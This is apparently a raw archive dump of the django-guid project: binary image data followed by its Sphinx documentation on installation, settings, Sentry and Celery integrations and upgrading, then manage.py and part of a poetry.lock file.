4͝',5y>8QX«TC%peC߆4Pgڒl{)^U[ϪD>F8V7mjmkUg\ЪB!q'wTVZ$jTXmO5 @5Tͺ]è!͆"]\EVSTEVז.YE\i͸SVim*i H楹`*Udk;|bUlSӚk3 oLuqWېxscS妵V\iN_d53*?UkliRjZRrJJz,W*Vz)m*֪ĵCZ n5NU65EERR^;}J.Z ކguaJLZ9/Srd2<7K`T%Ȗ:30WimJ+Rn>U9uj \yցϔN+u$&&t}ningJ~ONM370249 yu]YϼO˳ KHccg*[rj)Qze#dd]]k+ W(NJM 6}'UXYEoHukdzZIĘr%=p[G&:tf^"&3;Ĭɧx^,PZ5 })r94~{Bo:B=ǍԈ/Ha֗Ĺ Y\aVe-Mry ZKnͣlͧHoƣS҄>=k他"gּ=xۆf|eH.]ZG!Osulۄ/<,GTigc%]inw- Z 37el'k v[vzeRiC祦)2<=S•S=M5/Rsr99\q56RڔP?-Y4{'7--7IqfYw]2^ȱl-Hz5/%녿!Y j?}bŠgKyT0*yOP/NXΏ;ۼݓe?|/a\q:|r#=-7=\OU_j TT>98vp6޸<ʉs{g w9ݬBzPüV#:˘:ʵ>oE2.l CIsѿ]](m0FU'|` vuӨ&,ׂ6,rPR8f|x-Ψ\.)W}RORl-///9-Mnh6bhofb,64$\̨_W}"/61)2)| Ρۑfg%<6!QI.|̏KLΦ+#_<_{B %<'&ҟl\fVVE)alzrsMbkK&֖?T@dOߵu9 mCe|}NNKۡm=HZTBr mC05Dt-&Z')%C %R)S՟dhaz>4#ͥg#@!cygmJ>99IkSB}k[&Nzo5yq|(b:~An*&42615f ^J,|xP oҠYZ2̦Wծ B4;)% (c7\յ43 vT_Cӹ .'H33*&::t˴H,6U䦦ssSyb##C,4ȸq'nΨ:R-RdPUcS<^n]|E|`?sO]6-;k`֤skrza" B&zhy2ۖ!=."^vNCWu ɡuz=)=%Si -/a-ճ6%g^177%=i$%t?-r m+Scc\Ly PH=9sB=+ ss S[m b[OKiL2تpX񁫿ۿk X0e)@y;)1ﻤɽ//o\J1۩@k+F ;7f cVl?k7xg9r Yq_Ȏ%$ww^`YwnuHg#vvؘ)ظ۽(/@WTС$4ضhjY{p|RjiLNҡ15UsԂALI+gG" zJȋqiWg\jULc .$6s&nRIkzgwu`ͬ3&^ [neJ~( ^IGkց绱nY{'ҿ+)a]UZZhRGPo ;ք,m[zMݭ7{ً_˻w~3ÔܹS~SOe?wTT3gNeFv?z~3jYZư17SbKGڼ'!i"rrO1S"tvv&wn> M'ڵ.>O{/eNʦר-2̲ݨ7w[$ԁWU#.Vm?[e/M7<>seK?(,v>2v`[;.\#3ƵPb؁zݻ\ G)r6ڌaܽhZgy^ӟ1jPh6rQJjC b]Ot;::&ƶ֖VL еl`ogmeCt23iMf ݆<8.H2g)92L.]E@_eKKn?ŕAv]xٌ-dϓUTl:3g WXTF~OsM;47Dİ܄Xʒ54 3imԤaG4;Y9}UAgݠ\"V,:X~FdsG?\ۭ8}ju5FNpxW=2Jm޼{:;_ }zcwKvR%^䑾' KM͏[ήP2p۞C2B\fڶW/C؞[־Kz\73:<^ alQ>ܶ!Ɉ J\Z)C R> 7aLIͻwJ?wϞK Z4Ί(42y IJO> }ԅxb٢]}~-MEŤG_G|5=o"}W?6ܷ vWV.#64,㮝{j:?ϹYŒ iyY5 p\荛\}]@WO$RV,WHȤFbs}P)a[ t%YRiN]ja340ѥUtie}t2:*f* $(C LTYPeLPIHOxƶ" 27E[U@_Hϔ0 lb]3Sf*\'3?/6!*pd2LC4дimTOsT\7(-vq֣up'sL zLH)gj~yJd&s]b3&ͪBq/^]6 Rxlό;W#I}N7iةz70O)v}'H\u]2́P|ݭ*/UKGw:-6JڪNn>>Ťe[ ;MiF4Ԕt|b5_R)if&EÅL#Y8)]]]PO9S" Ez c#CK jJyfƺ yNIҞI[{U(2%Yzzc##ZȳVg{~5kwLe|V^RI|z;`Ἧ:=_ kپ-Qi}ߚ7otW#Czul[T钔b 榖f&B==ue2YzFfjzFn";'Si"֦|[+E://O%mU]]]==Χ:JLQYimշpÞl4WOT{}{tA |Um.|PJe 8&]lY[DČ~cܠ",kIW JKL=CJ0'#rڨ)3O}300т.ڕ5P\C%)yuuul27{܂M{HSY6Zi&zV^و ˷i3im*MmijҢopჷ ]"}}f8 HBOHLkSmjH+QAW*V>*)iMʿי.z7JkSmjKTo( :4"aҤ֪sIWtq MEY8 PST蛞@~ 6fjw*9//gAB-ӶVMV%*6s~C&JX>=;d t\>CWXnnϪa^QƾbŶ*Pu+$Ri- " i{BVP jDBQvNNmOctNy56fϞD|?-+rfƙhaēLO˺OdrmP S|uQ( S+SYz@_VML.cCՌw >&'''*<&9!MС@kic֠i]b/ZX«T{a-73SozrBg*@  |F_QTrD0w[G( 4M AmAJ|^B7RA7j7@UA PU44^X^^>BtuuZu396 rFhL`)@UA PU}*TD\'դǧTtu:GM%%''?x ==fjjںukKKK>Pܿڲ}3>S:;]g pႵuݺu|a111=z5M9oey*xOfgg]D+U}uF'B|>ݓmA|E=TP#מH2e3!yȯ{O\|.Ͻ :pPq޷<>Q\.)WՆYn๬cDnkS;ew'clRvmgK-đ{9^ ڻZY$!;_^Nܥ;R d4ٚϾ:pPT]d2fӂV૖DXa(䗼Ab'ײ#[W.wUWݾl֚qGv{ߌjt}\ ^;{>­ }Jq<ͼ:K͉s-E6 d_6'aQ|Jk-;[v`g߀W8AjFn~]aϘȚ"Ū!it'e]Xg{_p2/YZ9rW|"^cƖn%~{]h9P7{Ն 85[Vo5!צ=Liu"pa$lMԛ4-?^!L.#b6,_!FV1o Bꕀ+s1/i)﹣'s2D- % h;$$E_nw1 $ܲa'TG{m{ѰXڸՂ[9>QJ's]]. |-~ c}XzWf]S3~Bk [u3P#g]9-.xv#V]'9ܢuE]tϜyndu;7yגT_D7'`u2qk}g&c/P7_?yW=<%WٽG/s&-w.?.X`k>b`;-_xy7V+ ;oڗjպ;F ɸpѰCFfݿLZ4Ѫ(r4j}+zׅINRق—7mljK0N$%=Uwf4ߊf]Kʞ0yאOs,>ݳbn c =iؘOQCwI޳ > ϯMНu%liC߱43lKTv!f?f[M;l]'^fn^шݷp#3n[I 8Tð5K1n1} j}+z{X$&rϛ"\ Z-]cqj=鼳1yDtIo/kʧ(~&2*:f1SrB_tvm([~;/qx":HeB\F=T̸v%ںo{n&J ;׵kY^-fեYZ/i*-fjjV3xv,nTXqӘ[+0.^Ѕz-{͆_Dd !'/OQ=)_;cޑ0fjHᛙJvwpm|$]zG>}3VްЇaqqզ?MYZXC{UZ)))?-"ZZ.?WtލNՏAZGlH.~gB~5_t5"]FZLdd@]M$]qYY.goZTc}z'DT׀[\l-P!'vF>έF9TݞG BgĵO^lU,&N~ epLf﷠T?!;17 zpnHKvd=/|}l,MY5[Eի{Ղ.%HTH{ 鋭{>&u/u:jg[^¤kq|qQѸt\ vMer >8(bۆ vbh HxӑnanP׍A ع*f[pvdbk߹KA+3;rzdFFZW{rb^C~!Ȳs5514R^{d9w_N]&}vA{^:Ȭ+cgG>PHGЗP]F`Hq.khaf|*F}ᗹ [|(#b{bi%Q cIt\>&m|?>Fغx4]-||EĪu.YaGfȝuj7l9 /Ffwث<gnJ˸뭷t{sq/x ϭ]GM9]\=C隣K5ze;3R( ˦ػ-fi~1nM(5a[6ui2WiGz7Ж_-+zFgE|7[]M {qw =UMGM5N&dE|6jO -E|7$>k/$61 l*$K"}(\,6z2MEQ_EBYーCG Džh!} 4uѝm:951 rd[KIkm`K~5u0.> ;7K>rlоS+s!r47| ZϗtT$V. e}{})8r[ð5KvZ5h\ϱ%Ssṓ>qGaG4=wɷe ͘:>۴˖oPԣo5wL:ӖǏՠq=%rhЍ_iǼuj5},_#V}bmWgM4>"Z G +zĆH荢*\꯺DfX_Y>_ ]D+  B#`|u).aZmZPlJR/)emW"Col?i8jWIJH{!= Ć:4Ƃ_xp-rLs']y[~|-)>v^*@8̽y˦?MÍWvГϿ.5xi^o ڛĥ2ҹ:81<5-%*fTVEg^ymIm"_F?u/Kh܏ڻO&;GS~ze_M۰WARB 3`Vc7K&Y$ "bo0#M%.RHD% ! _F`VnH!""Vg0I%AojRzB%!Q¤\yPyÈ8{ 4.C,:>z-ߖ\`/O>sй?yMwc~8v4df=dݷ]-RyyC|/;p|&o~^§v{>s'{]wMg5o+İE4\^0a5nR{vp|&?BMZ9o0Og)昪~ePK[x2Nۋ@MqzH0+իGg}uٚF,mЦ}ҺK&y_͖YN΁or}܌ĆƂ\p.qZiۺ#~ B2BNo*KR)QyBY~)ą5Au *A:tOv6֗'\8q-+OO~I-)-O L[P$_>ؽ *uYj$*tu8Y_p4:(2BN^ kڀ_Ev<-ڭz}ްUqSۙ؜?xNnC]ǎ|>e2L59K"ݼfgdDj=3G$v2s QkUn=ns 8% s^>%&Əioɔ*>v)@W{VmW̬$d`oI?JW4h0l#aFFYY7󧺏ulWlik>yZ2vOH#>: c uGA%}.#O)RϿNuS(@c+%[:\ OulŔTY荐Sɮ} r x~-0a{WuF\x?څ|j_ I)=Ӻ̃L^ y PoU7@U}S^"OGWϔ蛑 %)Rҍ|4G,M^F'ŧyI/,MRӑsYSKtuu SL[Bo5maδ|!P 6򖟟_dkijN9"Pᷚ\$[S7ZH<o5CkJo*]l쿚-r@ SUSTEVS2B :gլg }-*ҥMҥ@LߝdkJ}r֬"ٚ\6 =E śkIENDB`django-guid-3.5.1/docs/index.rst000066400000000000000000000105651475141737700165300ustar00rootroot00000000000000.. raw:: html

Django GUID

Now with ASGI support!

.. raw:: html

Package version Downloads Django versions ASGI WSGI

Docs Codecov Black Pre-commit

-------------- Django GUID attaches a unique correlation ID/request ID to all your log outputs for every request. In other words, all logs connected to a request now has a unique ID attached to it, making debugging simple. Which version of Django GUID you should use depends on your Django version and whether you run ``ASGI`` or ``WSGI`` servers. To determine which Django-GUID version you should use, please see the table below. +---------------------+--------------------------+ | Django version | Django-GUID version | +=====================+==========================+ | 3.1.1 or above | 3.x.x - ASGI and WSGI | +---------------------+--------------------------+ | 3.0.0 - 3.1.0 | 2.x.x - Only WSGI | +---------------------+--------------------------+ | 2.2.x | 2.x.x - Only WSGI | +---------------------+--------------------------+ Django GUID >= 3.0.0 uses ``ContextVar`` to store and access the GUID. Previous versions stored the GUID to an object, making it accessible by using the ID of the current thread. -------------- **Resources**: * Free software: BSD License * Documentation: https://django-guid.readthedocs.io * Homepage: https://github.com/snok/django-guid -------------- **Examples** Log output with a GUID: .. code-block:: bbcode INFO ... [773fa6885e03493498077a273d1b7f2d] project.views This is a DRF view log, and should have a GUID. WARNING ... [773fa6885e03493498077a273d1b7f2d] project.services.file Some warning in a function INFO ... [0d1c3919e46e4cd2b2f4ac9a187a8ea1] project.views This is a DRF view log, and should have a GUID. INFO ... [99d44111e9174c5a9494275aa7f28858] project.views This is a DRF view log, and should have a GUID. WARNING ... [0d1c3919e46e4cd2b2f4ac9a187a8ea1] project.services.file Some warning in a function WARNING ... [99d44111e9174c5a9494275aa7f28858] project.services.file Some warning in a function Log output without a GUID: .. code-block:: text INFO ... project.views This is a DRF view log, and should have a GUID. WARNING ... project.services.file Some warning in a function INFO ... project.views This is a DRF view log, and should have a GUID. INFO ... project.views This is a DRF view log, and should have a GUID. WARNING ... project.services.file Some warning in a function WARNING ... project.services.file Some warning in a function -------------- Contents -------- .. toctree:: :maxdepth: 3 install configuration settings api integrations extended_example troubleshooting upgrading publish changelog django-guid-3.5.1/docs/install.rst000066400000000000000000000002701475141737700170570ustar00rootroot00000000000000************ Installation ************ Install using pip: .. code-block:: bash pip install django-guid Install using poetry: .. code-block:: bash poetry add django-guid django-guid-3.5.1/docs/integrations.rst000066400000000000000000000251251475141737700201250ustar00rootroot00000000000000.. _integrations: ************ Integrations ************ Integrations are optional add-ins used to extend the functionality of the Django GUID middleware. To enable an integration, simply add an integration instance to the ``INTEGRATIONS`` field in ``settings.py``, and the relevant integration logic will be executed in the middleware: .. code-block:: python from django_guid.integrations import SentryIntegration DJANGO_GUID = { ... 'INTEGRATIONS': [SentryIntegration()], } Integrations are a new addition to Django GUID, and we plan to expand selection in the future. If you are looking for specific functionality that is not yet available, consider creating an issue, making a pull request, or writing your own private integration. Custom integrations classes are simple to write and can be implemented just like package integrations. Available integrations ====================== Sentry ------ Integrating with Sentry, lets you tag Sentry-issues with a ``transaction_id``. This lets you easily connect an event in Sentry to your logs. .. image:: img/sentry.png :width: 1600 :alt: Alternative text Rather than changing how Sentry works, this is just an additional piece of metadata that you can use to link sources of information about an exception. If you know the GUID of an exception, you can find the relevant Sentry issue by searching for the tag: .. image:: img/sentry_search.png :width: 1600 :alt: Alternative text To add the integration, simply import ``SentryIntegration`` from the integrations folder and add it to your settings: .. code-block:: python from django_guid.integrations import SentryIntegration DJANGO_GUID = { ... 'INTEGRATIONS': [SentryIntegration()], } Celery ------ The Celery integration enables tracing for Celery workers. There's three possible scenarios: 1. A task is published from a request within Django 2. A task is published from another task 3. A task is published from Celery Beat For scenario 1 and 2 the existing correlation IDs is transferred, and for scenario 3 a unique ID is generated. To enable this behavior, simply add it to your list of integrations: .. code-block:: python from django_guid.integrations import CeleryIntegration DJANGO_GUID = { ... 'INTEGRATIONS': [ CeleryIntegration( use_django_logging=True, log_parent=True, ) ], } Integration settings ^^^^^^^^^^^^^^^^^^^^ These are the settings you can pass when instantiating the ``CeleryIntegration``: * **use_django_logging**: Tells celery to use the Django logging configuration (formatter). * **log_parent**: Enables the ``CeleryTracing`` log filter described below. * **uuid_length**: Lets you optionally trim the length of the integration generated UUIDs. * **sentry_integration**: If you use Sentry, enabling this setting will make sure ``transaction_id`` is set (like in the SentryIntegration) for Celery workers. Celery integration log filter ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Out of the box, the CeleryIntegration will make sure a correlation ID is present for any Celery task; but how do you make sense of duplicate logs in subprocesses? Given these example tasks, what happens if we a worker picks up ``debug_task`` as scheduled by Celery beat? .. code-block:: python @app.task() def debug_task() -> None: logger.info('Debug task 1') second_debug_task.delay() second_debug_task.delay() @app.task() def second_debug_task() -> None: logger.info('Debug task 2') third_debug_task.delay() fourth_debug_task.delay() @app.task() def third_debug_task() -> None: logger.info('Debug task 3') fourth_debug_task.delay() fourth_debug_task.delay() @app.task() def fourth_debug_task() -> None: logger.info('Debug task 4') It will be close to impossible to make sense of the logs generated, simply because the correlation ID tells you nothing about how subprocesses are linked. For this, the integration provides an additional log filter, ``CeleryTracing`` which logs the ID of the current process and the ID of the parent process. Using the log filter, the log output of the example tasks becomes: .. code-block:: bbcode correlation-id current-id | parent-id | | | | INFO [3b162382e1] [ None ] [93ddf3639c] demoproj.celery - Debug task 1 INFO [3b162382e1] [93ddf3639c] [24046ab022] demoproj.celery - Debug task 2 INFO [3b162382e1] [93ddf3639c] [cb5595a417] demoproj.celery - Debug task 2 INFO [3b162382e1] [24046ab022] [08f5428a66] demoproj.celery - Debug task 3 INFO [3b162382e1] [24046ab022] [32f40041c6] demoproj.celery - Debug task 4 INFO [3b162382e1] [cb5595a417] [1c75a4ed2c] demoproj.celery - Debug task 3 INFO [3b162382e1] [08f5428a66] [578ad2d141] demoproj.celery - Debug task 4 INFO [3b162382e1] [cb5595a417] [21b2ef77ae] demoproj.celery - Debug task 4 INFO [3b162382e1] [08f5428a66] [8cad7fc4d7] demoproj.celery - Debug task 4 INFO [3b162382e1] [1c75a4ed2c] [72a43319f0] demoproj.celery - Debug task 4 INFO [3b162382e1] [1c75a4ed2c] [ec3cf4113e] demoproj.celery - Debug task 4 At the very least, this should provide a mechanism for linking parent/children processes in a meaningful way. To set up the filter, add :code:`django_guid.integrations.celery.log_filters.CeleryTracing` as a filter in your ``LOGGING`` configuration: .. code-block:: python LOGGING = { ... 'filters': { 'celery_tracing': { '()': 'django_guid.integrations.celery.log_filters.CeleryTracing' } } } Put that filter in your handler: .. code-block:: python LOGGING = { ... 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'formatter': 'medium', 'filters': ['correlation_id', 'celery_tracing'], } } } And then you can **optionally** add ``celery_parent_id`` and/or ``celery_current_id`` to you formatter: .. code-block:: python LOGGING = { ... 'formatters': { 'medium': { 'format': '%(levelname)s [%(correlation_id)s] [%(celery_parent_id)s-%(celery_current_id)s] %(name)s - %(message)s' } } } However, if you use a log management tool which lets you interact with ``log.extra`` value, leaving the filters out of the formatter might be preferable. If these settings were confusing, please have a look in the demo projects' `settings.py `_ file for a complete example. Writing your own integration ============================ Creating your own custom integration requires you to inherit the ``Integration`` base class (which is found `here `_). The class is quite simple and only contains four methods and a class attribute: .. code-block:: python class Integration(object): """ Integration base class. """ identifier = None # The name of your integration def __init__(self) -> None: if self.identifier is None: raise ImproperlyConfigured('`identifier` cannot be None') def setup(self) -> None: """ Holds validation and setup logic to be run when Django starts. """ pass def run(self, guid: str, **kwargs) -> None: """ Code here is executed in the middleware, before the view is called. """ raise ImproperlyConfigured(f'The integration `{self.identifier}` is missing a `run` method') def cleanup(self, **kwargs) -> None: """ Code here is executed in the middleware, after the view is called. """ pass To extend this into a fully functioning integration, all you need to do is 1. Create a new class that inherits the base class 2. Set the identifier to a string, naming your integration 3. Add the logic you wish to be executed to the ``run`` method 4. Add logic to each of the remaining methods as required A fully functioning integration can be as simple as this: .. code-block:: python from django_guid.integrations import Integration class CustomIntegration(Integration): identifier = 'CustomIntegration' # Should be a string def run(self, guid, **kwargs): print('This is a functioning Django GUID integration') There are four built in methods which are always called. You can chose to override these in your custom integration. Method descriptions -------------------- Setup ^^^^^ The ``setup`` method is run when Django starts, and is a good place to keep your integration-specific validation logic, like, e.g., making sure all dependencies are installed: .. code-block:: python from third_party_sdk import start_service class CustomIntegration(Integration): identifier = 'CustomIntegration' def setup(self): try: import third_party_sdk except ModuleNotFoundError: raise ImproperlyConfigured( 'Package third_party_sdk must be installed' ) Run ^^^ The ``run`` method is required, and is designed to hold code that should be executed each time the middleware is run (for each request made to the server), before the view is called. This function **must** accept both ``guid`` and ``**kwargs``. Additional arguments are likely be added in the future, and so the function must be able to handle those new arguments. .. code-block:: python from third_party_sdk import send_guid_to_system class CustomIntegration(Integration): identifier = 'CustomIntegration' def setup(self): ... def run(self, guid, **kwargs): send_guid_to_system(guid=guid) Cleanup ^^^^^^^ The ``cleanup`` method is the final method called in the middleware, each time the middleware, each time the middleware is run, after a view has been called. This function **must** accept ``**kwargs``. Additional arguments are likely be added in the future, and so the function must be able to handle those new arguments. .. code-block:: python from third_party_sdk import clean_up_guid class CustomIntegration(Integration): identifier = 'CustomIntegration' def setup(self): ... def run(self, guid, **kwargs): ... def cleanup(self, **kwargs): clean_up_guid() django-guid-3.5.1/docs/make.bat000066400000000000000000000014331475141737700162660ustar00rootroot00000000000000@ECHO OFF pushd %~dp0 REM Command file for Sphinx documentation if "%SPHINXBUILD%" == "" ( set SPHINXBUILD=sphinx-build ) set SOURCEDIR=. set BUILDDIR=_build if "%1" == "" goto help %SPHINXBUILD% >NUL 2>NUL if errorlevel 9009 ( echo. echo.The 'sphinx-build' command was not found. Make sure you have Sphinx echo.installed, then set the SPHINXBUILD environment variable to point echo.to the full path of the 'sphinx-build' executable. Alternatively you echo.may add the Sphinx directory to PATH. echo. echo.If you don't have Sphinx installed, grab it from echo.http://sphinx-doc.org/ exit /b 1 ) %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% goto end :help %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% :end popd django-guid-3.5.1/docs/publish.rst000066400000000000000000000025741475141737700170700ustar00rootroot00000000000000Publish django-guid =================== This site is intended for the contributors of ``django-guid``. Publishing to test-PyPi ----------------------- Before publishing a new version of the package, it is advisable that you publish a test-package. Among other things, this will flag any possible issues the current interation of the package might have. Please note, to publish a test-package, you need to have a test-pypi API token. Using the API token, you can publish a test-package by running: .. code:: poetry config repositories.test https://test.pypi.org/legacy/ poetry config pypi-token.test poetry publish --build --no-interaction --repository test Publishing to PyPi ------------------ Publishing ``django-guid`` can be done by creating a github release in the ``django-guid`` repository. Before publishing a release, make sure that the version is consistent in ``django_guid/__init__.py``, ``pyproject.toml`` and in the title of the actual publication. The title of the release should simply be the version number and the release body should contain the changelog for the patch. Read the docs ------------- Read the docs documentation can be built locally by entering the ``docs`` folder and writing ``make html``. It requires that you have installed ``sphinx`` and the theme we're using, which is ``sphinx_rtd_theme``. Both can be installed through ``pip``. django-guid-3.5.1/docs/settings.rst000066400000000000000000000050321475141737700172520ustar00rootroot00000000000000Settings ======== Package settings are added in your ``settings.py``: Default settings are shown below: .. code-block:: python DJANGO_GUID = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': True, 'RETURN_HEADER': True, 'EXPOSE_HEADER': True, 'INTEGRATIONS': [], 'UUID_LENGTH': 32, 'UUID_FORMAT': 'hex', } .. _guid_header_name_setting: GUID_HEADER_NAME ---------------- * **Default**: ``Correlation-ID`` * **Type**: ``string`` The name of the GUID to look for in a header in an incoming request. Remember that it's case insensitive. .. _validate_guid_setting: VALIDATE_GUID ------------- * **Default**: ``True`` * **Type**: ``boolean`` Whether the :code:`GUID_HEADER_NAME` should be validated or not. If set to :code:`True` incoming headers which are not a valid GUID (:code:`uuid.uuid4`), will be replaced with a new one. RETURN_HEADER ------------- * **Default**: ``True`` * **Type**: ``boolean`` Whether to return the GUID (Correlation-ID) as a header in the response or not. It will have the same name as the :code:`GUID_HEADER_NAME` setting. EXPOSE_HEADER ------------- * **Default**: ``True`` * **Type**: ``boolean`` Whether to return :code:`Access-Control-Expose-Headers` for the GUID header if :code:`RETURN_HEADER` is :code:`True`, has no effect if :code:`RETURN_HEADER` is :code:`False`. This is allows the JavaScript Fetch API to access the header when CORS is enabled. INTEGRATIONS ------------ * **Default**: ``[]`` * **Type**: ``list`` Whether to enable any custom or available integrations with :code:`django_guid`. As an example, using :code:`SentryIntegration()` as an integration would set Sentry's :code:`transaction_id` to match the GUID used by the middleware. IGNORE_URLS ----------- * **Default**: ``[]`` * **Type**: ``list`` URL endpoints where the middleware will be disabled. You can put your health check endpoints here. UUID_LENGTH ----------- * **Default**: ``32`` * **Type**: ``int`` If a full UUID hex is too long for you, this settings lets you specify the length you wish to use. The chance of collision in a UUID is so low, that most systems will get away with a lot fewer than 32 characters. UUID_FORMAT ----------- * **Default**: ``hex`` * **Type**: ``string`` If a UUID hex is not suitable for you, this settings lets you specify the format you wish to use. The options are: * ``hex``: The default, a 32 character hexadecimal string. e.g. ee586b0fba3c44849d20e1548210c050 * ``string``: A 36 character string. e.g. ee586b0f-ba3c-4484-9d20-e1548210c050 django-guid-3.5.1/docs/troubleshooting.rst000066400000000000000000000020541475141737700206420ustar00rootroot00000000000000Troubleshooting =============== Turn on Django debug logging ---------------------------- Set the logger to log DEBUG logs from django-guid: .. code-block:: python LOGGING = { 'loggers': { 'django_guid': { 'handlers': ['console'], 'level': 'DEBUG', }, }, } Run Django with warnings enabled -------------------------------- Start ``manage.py runserver`` with the ``-Wd`` parameter to enable warnings that normally are suppressed. .. code-block:: bash python -Wd manage.py runserver Use the demo project as a reference ----------------------------------- There is a simple demo project available in the ``demoproj`` folder, have a look at that to see best practices. Read the official logging docs ------------------------------ Read the `official docs `_ about logging. Ask for help ------------ Still no luck? Create an `issue on GitHub `_ and ask for help. django-guid-3.5.1/docs/upgrading.rst000066400000000000000000000017741475141737700174030ustar00rootroot00000000000000.. _upgrading: ************************************ Upgrading Django-GUID 2.x.x to 3.x.x ************************************ Upgrading to ``Django>=3.1.1`` and using async/ASGI requires you to use ``Django-GUID`` version 3 or higher. In order to upgrade, you need to do the following: 1. Change Middleware -------------------- * **From:** ``django_guid.middleware.GuidMiddleware`` * **To:** ``django_guid.middleware.guid_middleware`` .. code-block:: python MIDDLEWARE = [ 'django_guid.middleware.guid_middleware', ... ] 2. Change API functions (if you used them) ------------------------------------------ **From:** .. code-block:: python from django_guid.middleware import GuidMiddleware GuidMiddleware.get_guid() GuidMiddleware.set_guid('x') GuidMiddleware.delete_guid() **To:** .. code-block:: python from django_guid import clear_guid, get_guid, set_guid get_guid() set_guid('x') clear_guid() # Note the name change from delete to clear django-guid-3.5.1/manage.py000066400000000000000000000011741475141737700155350ustar00rootroot00000000000000#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main() -> None: os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'demoproj.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " 'available on your PYTHONPATH environment variable? Did you ' 'forget to activate a virtual environment?' ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main() django-guid-3.5.1/poetry.lock000066400000000000000000002513601475141737700161330ustar00rootroot00000000000000# This file is automatically @generated by Poetry 1.8.5 and should not be changed by hand. [[package]] name = "alabaster" version = "0.7.13" description = "A configurable sidebar-enabled Sphinx theme" optional = false python-versions = ">=3.6" files = [ {file = "alabaster-0.7.13-py3-none-any.whl", hash = "sha256:1ee19aca801bbabb5ba3f5f258e4422dfa86f82f3e9cefb0859b283cdd7f62a3"}, {file = "alabaster-0.7.13.tar.gz", hash = "sha256:a27a4a084d5e690e16e01e03ad2b2e552c61a65469419b907243193de1a84ae2"}, ] [[package]] name = "amqp" version = "5.2.0" description = "Low-level AMQP client for Python (fork of amqplib)." optional = false python-versions = ">=3.6" files = [ {file = "amqp-5.2.0-py3-none-any.whl", hash = "sha256:827cb12fb0baa892aad844fd95258143bce4027fdac4fccddbc43330fd281637"}, {file = "amqp-5.2.0.tar.gz", hash = "sha256:a1ecff425ad063ad42a486c902807d1482311481c8ad95a72694b2975e75f7fd"}, ] [package.dependencies] vine = ">=5.0.0,<6.0.0" [[package]] name = "asgiref" version = "3.8.1" description = "ASGI specs, helper code, and adapters" optional = false python-versions = ">=3.8" files = [ {file = "asgiref-3.8.1-py3-none-any.whl", hash = "sha256:3e1e3ecc849832fe52ccf2cb6686b7a55f82bb1d6aee72a58826471390335e47"}, {file = "asgiref-3.8.1.tar.gz", hash = "sha256:c343bd80a0bec947a9860adb4c432ffa7db769836c64238fc34bdc3fec84d590"}, ] [package.dependencies] typing-extensions = {version = ">=4", markers = "python_version < \"3.11\""} [package.extras] tests = ["mypy (>=0.800)", "pytest", "pytest-asyncio"] [[package]] name = "attrs" version = "24.2.0" description = "Classes Without Boilerplate" optional = false python-versions = ">=3.7" files = [ {file = "attrs-24.2.0-py3-none-any.whl", hash = "sha256:81921eb96de3191c8258c199618104dd27ac608d9366f5e35d011eae1867ede2"}, {file = "attrs-24.2.0.tar.gz", hash = "sha256:5cfb1b9148b5b086569baec03f20d7b6bf3bcacc9a42bebf87ffaaca362f6346"}, ] [package.extras] benchmark = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-codspeed", "pytest-mypy-plugins", "pytest-xdist[psutil]"] cov = ["cloudpickle", "coverage[toml] (>=5.3)", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] dev = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pre-commit", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] docs = ["cogapp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier (<24.7)"] tests = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] tests-mypy = ["mypy (>=1.11.1)", "pytest-mypy-plugins"] [[package]] name = "babel" version = "2.16.0" description = "Internationalization utilities" optional = false python-versions = ">=3.8" files = [ {file = "babel-2.16.0-py3-none-any.whl", hash = "sha256:368b5b98b37c06b7daf6696391c3240c938b37767d4584413e8438c5c435fa8b"}, {file = "babel-2.16.0.tar.gz", hash = "sha256:d1f3554ca26605fe173f3de0c65f750f5a42f924499bf134de6423582298e316"}, ] [package.dependencies] pytz = {version = ">=2015.7", markers = "python_version < \"3.9\""} [package.extras] dev = ["freezegun (>=1.0,<2.0)", "pytest (>=6.0)", "pytest-cov"] [[package]] name = "backports-zoneinfo" version = "0.2.1" description = "Backport of the standard library zoneinfo module" optional = false python-versions = ">=3.6" files = [ {file = "backports.zoneinfo-0.2.1-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:da6013fd84a690242c310d77ddb8441a559e9cb3d3d59ebac9aca1a57b2e18bc"}, {file = "backports.zoneinfo-0.2.1-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:89a48c0d158a3cc3f654da4c2de1ceba85263fafb861b98b59040a5086259722"}, {file = "backports.zoneinfo-0.2.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:1c5742112073a563c81f786e77514969acb58649bcdf6cdf0b4ed31a348d4546"}, {file = "backports.zoneinfo-0.2.1-cp36-cp36m-win32.whl", hash = "sha256:e8236383a20872c0cdf5a62b554b27538db7fa1bbec52429d8d106effbaeca08"}, {file = "backports.zoneinfo-0.2.1-cp36-cp36m-win_amd64.whl", hash = "sha256:8439c030a11780786a2002261569bdf362264f605dfa4d65090b64b05c9f79a7"}, {file = "backports.zoneinfo-0.2.1-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:f04e857b59d9d1ccc39ce2da1021d196e47234873820cbeaad210724b1ee28ac"}, {file = "backports.zoneinfo-0.2.1-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:17746bd546106fa389c51dbea67c8b7c8f0d14b5526a579ca6ccf5ed72c526cf"}, {file = "backports.zoneinfo-0.2.1-cp37-cp37m-manylinux1_x86_64.whl", hash = 